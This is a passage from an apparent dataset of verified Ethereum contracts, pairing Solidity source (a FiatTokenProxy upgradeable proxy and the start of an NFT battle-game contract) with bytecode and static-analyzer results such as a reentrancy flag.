fffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5057600080fd5b505afa158015611f64573d6000803e3d6000fd5b505050506040513d6020811015611f7a57600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612179576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061208c81858773ffffffffffffffffffffffffffffffffffffffff16612be39092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff1663def2489b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561210b57600080fd5b505af115801561211f573d6000803e3d6000fd5b505050506040513d602081101561213557600080fd5b8101908080519060200190929190505050935061217383858473ffffffffffffffffffffffffffffffffffffffff16612be39092919063ffffffff16565b506121a5565b6121a482848673ffffffffffffffffffffffffffffffffffffffff16612be39092919063ffffffff16565b5b8173ffffffffffffffffffffffffffffffffffffffff1663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156121ed57600080fd5b505af1158015612201573d6000803e3d6000fd5b5050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b61233f6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16612be39092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612405576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612607576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156126b957600080fd5b505af11580156126cd573d6000803e3d6000fd5b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561286a57600080fd5b505af115801561287e573d6000803e3d6000fd5b505050506040513d602081101561289457600080fd5b81019080805190602001909291905050505050565b60006128eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612cb4565b905092915050565b60008114806129ed575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156129b057600080fd5b505afa1580156129c4573d6000803e3d6000fd5b505050506040513d60208110156129da57600080fd5b8101908080519060200190929190505050145b612a42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061311c6036913960400191505060405180910390fd5b612b0e838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612d74565b505050565b600080831415612b265760009050612b93565b6000828402905082848281612b3757fe5b0414612b8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130d16021913960400191505060405180910390fd5b809150505b92915050565b6000612bdb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612fbf565b905092915050565b612caf838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612d74565b505050565b6000838311158290612d61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d26578082015181840152602081019050612d0b565b50505050905090810190601f168015612d535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b612d938273ffffffffffffffffffffffffffffffffffffffff16613085565b612e05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612e545780518252602082019150602081019050602083039250612e31565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612eb6576040519150601f19603f3d011682016040523d82523d6000602084013e612ebb565b606091505b509150915081612f33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612fb957808060200190516020811015612f5257600080fd5b8101908080519060200190929190505050612fb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806130f2602a913960400191505060405180910390fd5b5b50505050565b6000808311829061306b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613030578082015181840152602081019050613015565b50505050905090810190601f16801561305d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161307757fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156130c75750808214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a7231582045040a6c1481ec61bc864ee371077e6d7273a0a489c6f28a01500831ca02341e64736f6c634300050f0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,635 |
0x2c9e7a3009f4a1c289a3608067d6f13a39e362d6
|
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
/**
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity ^0.6.12;
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @notice This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
* @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/UpgradeabilityProxy.sol
* Modifications:
* 1. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20)
* 2. Use Address utility library from the latest OpenZeppelin (5/13/20)
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32
private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Contract constructor.
* @param implementationContract Address of the initial implementation.
*/
constructor(address implementationContract) public {
assert(
IMPLEMENTATION_SLOT ==
keccak256("org.zeppelinos.proxy.implementation")
);
_setImplementation(implementationContract);
}
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @notice This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/AdminUpgradeabilityProxy.sol
* Modifications:
* 1. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20)
* 2. Remove ifAdmin modifier from admin() and implementation() (5/13/20)
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is
* validated in the constructor.
*/
bytes32
private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Contract constructor.
* It sets the `msg.sender` as the proxy administrator.
* @param implementationContract address of the initial implementation.
*/
constructor(address implementationContract)
public
UpgradeabilityProxy(implementationContract)
{
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(msg.sender);
}
/**
* @return The address of the proxy admin.
*/
function admin() external view returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external view returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be
* called, as described in
* https://solidity.readthedocs.io/en/develop/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
// prettier-ignore
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = address(this).call{value: msg.value}(data);
// solhint-disable-next-line reason-string
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override {
require(
msg.sender != _admin(),
"Cannot call fallback function from the proxy admin"
);
super._willFallback();
}
}
/**
* @title FiatTokenProxy
* @dev This contract proxies FiatToken calls and enables FiatToken upgrades
*/
contract FiatTokenProxy is AdminUpgradeabilityProxy {
constructor(address implementationContract)
public
AdminUpgradeabilityProxy(implementationContract)
{}
}
|
0x60806040526004361061005a5760003560e01c80635c60da1b116100435780635c60da1b146101315780638f2839701461016f578063f851a440146101af5761005a565b80633659cfe6146100645780634f1ef286146100a4575b6100626101c4565b005b34801561007057600080fd5b506100626004803603602081101561008757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101de565b610062600480360360408110156100ba57600080fd5b73ffffffffffffffffffffffffffffffffffffffff82351691908101906040810160208201356401000000008111156100f257600080fd5b82018360208201111561010457600080fd5b8035906020019184600183028401116401000000008311171561012657600080fd5b509092509050610232565b34801561013d57600080fd5b50610146610309565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561017b57600080fd5b506100626004803603602081101561019257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610318565b3480156101bb57600080fd5b50610146610420565b6101cc610466565b6101dc6101d76104fa565b61051f565b565b6101e6610543565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102275761022281610568565b61022f565b61022f6101c4565b50565b61023a610543565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102fc5761027683610568565b60003073ffffffffffffffffffffffffffffffffffffffff16348484604051808383808284376040519201945060009350909150508083038185875af1925050503d80600081146102e3576040519150601f19603f3d011682016040523d82523d6000602084013e6102e8565b606091505b50509050806102f657600080fd5b50610304565b6103046101c4565b505050565b60006103136104fa565b905090565b610320610543565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102275773ffffffffffffffffffffffffffffffffffffffff81166103bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106966036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103e8610543565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a1610222816105bd565b6000610313610543565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061045e57508115155b949350505050565b61046e610543565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156104f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106646032913960400191505060405180910390fd5b6101dc6101dc565b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c35490565b3660008037600080366000845af43d6000803e80801561053e573d6000f35b3d6000fd5b7f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b5490565b610571816105e1565b6040805173ffffffffffffffffffffffffffffffffffffffff8316815290517fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b9181900360200190a150565b7f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b55565b6105ea8161042a565b61063f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001806106cc603b913960400191505060405180910390fd5b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c35556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220805b1c87d32334e4682f629e60368cb513ac343a0470ae5bcd139e1141e3ebed64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,636 |
0x56ddd8167164da0c0c48e1e9a904553f3571c5b6
|
/**
*Submitted for verification at Etherscan.io on 2021-09-04
*/
// SPDX-License-Identifier: AGPL V3.0
pragma solidity 0.8.0;
// Global Enums and Structs
struct BattleInfo {
uint256 defenderPower;
uint256 attackerPower;
uint256 duration;
uint256 endTimestamp;
uint256 numWarriors;
}
struct WarriorInfo {
uint256 power;
uint256 side;
}
// Part: IBattleRewarder
interface IBattleRewarder {
// Record that a battle was finished, and update reward distributions appropriately.
// Should not require a lot of gas for this computation (unless we are rewarding
// whoever calls `finishBattle` with some bonus XP or something...)
function battleFinished(uint256 battleId) external;
// Allows a warrior to claim rewards for a battle that they participated in.
function claimRewardsForBattle(uint256 battleId) external;
}
// Part: IPowerCalculator
interface IPowerCalculator {
function calculatePower(uint256 weaponId) external returns (uint256);
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/[email protected]/IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/[email protected]/IERC721
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
